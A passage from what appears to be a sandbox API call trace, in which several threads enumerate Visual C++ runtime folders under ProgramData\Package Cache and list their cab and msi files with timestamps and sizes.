lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.119] wcscmp (_String1="..", _String2=".") returned 1 [0099.119] wcscmp (_String1="..", _String2="..") returned 0 [0099.119] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87bcb00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0xa87bcb00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0xa87bcb00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0099.119] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0099.119] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0099.119] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0099.119] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1 [0099.119] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1 [0099.119] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0099.119] FindClose (in: hFindFile=0x1cd9da90 | out: hFindFile=0x1cd9da90) returned 1 [0099.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57670) returned 1 [0099.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798260) returned 1 [0099.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798170) returned 1 Thread: id = 813 os_tid = 0x1398 [0099.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1b798170 [0099.122] wcscpy (in: _Dest=0x1b798170, _Source="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" [0099.122] wcscat (in: _Dest=0x1b798170, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\" [0099.122] wcscat (in: _Dest=0x1b798170, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*" [0099.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57670 [0099.122] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da90 [0099.122] wcscmp (_String1=".", _String2=".") returned 0 [0099.122] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.122] wcscmp (_String1="..", _String2=".") returned 1 [0099.122] wcscmp (_String1="..", _String2="..") returned 0 [0099.122] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd15e8b00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd15e8b00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd15e8b00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0099.122] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0099.122] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0099.123] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0099.123] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1 [0099.123] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1 [0099.123] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0099.123] FindClose (in: hFindFile=0x1cd9da90 | out: hFindFile=0x1cd9da90) returned 1 [0099.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57670) returned 1 [0099.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798170) returned 1 [0099.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798da0) returned 1 Thread: id = 814 os_tid = 0x139c [0099.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x1b798da0 [0099.125] wcscpy (in: _Dest=0x1b798da0, _Source="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" [0099.125] wcscat (in: _Dest=0x1b798da0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\" [0099.125] wcscat (in: _Dest=0x1b798da0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*" [0099.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57670 [0099.125] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da90 [0099.126] wcscmp (_String1=".", _String2=".") returned 0 [0099.126] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.126] wcscmp (_String1="..", _String2=".") returned 1 [0099.126] wcscmp (_String1="..", _String2="..") returned 0 [0099.126] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0099.126] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0099.126] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0099.126] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0099.126] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1 [0099.126] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1 [0099.126] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0099.126] FindClose (in: hFindFile=0x1cd9da90 | out: hFindFile=0x1cd9da90) returned 1 [0099.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57670) returned 1 [0099.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798da0) returned 1 [0099.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798e90) returned 1 Thread: id = 815 os_tid = 0x13a0 [0099.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1b798e90 [0099.129] wcscpy (in: _Dest=0x1b798e90, _Source="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" [0099.129] wcscat (in: _Dest=0x1b798e90, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\" [0099.129] wcscat (in: _Dest=0x1b798e90, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*" [0099.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57670 [0099.129] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da90 [0099.129] wcscmp (_String1=".", _String2=".") returned 0 [0099.129] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.129] wcscmp (_String1="..", _String2=".") returned 1 [0099.129] wcscmp (_String1="..", _String2="..") returned 0 [0099.129] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0099.129] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0099.129] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0099.129] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0099.129] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0099.130] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0099.130] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0099.130] FindClose (in: hFindFile=0x1cd9da90 | out: hFindFile=0x1cd9da90) returned 1 [0099.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57670) returned 1 [0099.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798e90) returned 1 [0099.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798f80) returned 1 Thread: id = 816 os_tid = 0x13a4 [0099.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1b798f80 [0099.132] wcscpy (in: _Dest=0x1b798f80, _Source="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" [0099.132] wcscat (in: _Dest=0x1b798f80, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\" [0099.132] wcscat (in: _Dest=0x1b798f80, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*" [0099.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57670 [0099.132] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da90 [0099.132] wcscmp (_String1=".", _String2=".") returned 0 [0099.132] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.132] wcscmp (_String1="..", _String2=".") returned 1 [0099.133] wcscmp (_String1="..", _String2="..") returned 0 [0099.133] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9b1b00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7c9b1b00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7c9b1b00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0099.133] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0099.133] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0099.133] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0099.133] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1 [0099.133] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1 [0099.133] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0099.133] FindClose (in: hFindFile=0x1cd9da90 | out: hFindFile=0x1cd9da90) returned 1 [0099.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57670) returned 1 [0099.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798f80) returned 1 [0099.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799070) returned 1 Thread: id = 817 os_tid = 0x13a8 [0099.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b799070 [0099.135] wcscpy (in: _Dest=0x1b799070, _Source="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" [0099.135] wcscat (in: _Dest=0x1b799070, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\" [0099.135] wcscat (in: _Dest=0x1b799070, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*" [0099.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57670 [0099.135] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da90 [0099.136] wcscmp (_String1=".", _String2=".") returned 0 [0099.136] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, 